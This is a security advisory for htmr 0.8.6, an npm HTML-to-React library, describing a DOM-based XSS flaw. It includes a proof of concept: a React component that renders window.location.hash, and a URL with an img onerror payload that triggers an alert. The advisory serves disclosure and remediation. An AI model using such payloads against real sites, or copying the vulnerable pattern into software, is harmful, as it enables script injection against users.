htmr@0.8.6 vulnerabilities

htmr is a simple and lightweight conversion library from HTML string to react element coversions.

Affected versions of this package are vulnerable to Cross-site Sripting (XSS). This module uses innerHTML ref to unescape HTML entities. This leads to DOM-based XSS by inserting HTML-encoded XSS payload (see PoC).

PoC

1. Create a React app: create-react-app xss-htmr
2. Install htmr module: cd xss-htmr; npm i htmr
3. Edit src/App.js file to this:

import React from 'react';
import convert from 'htmr';

export default function App() {
  return convert(`<p>Hash: ${window.location.hash}</p>`);
}

4. Run the server: npm run start
5. Visit http://localhost:3000/#<img/src/onerror=alert('xss')>, an alert will popup.

Upgrade htmr to version 0.8.7 or higher.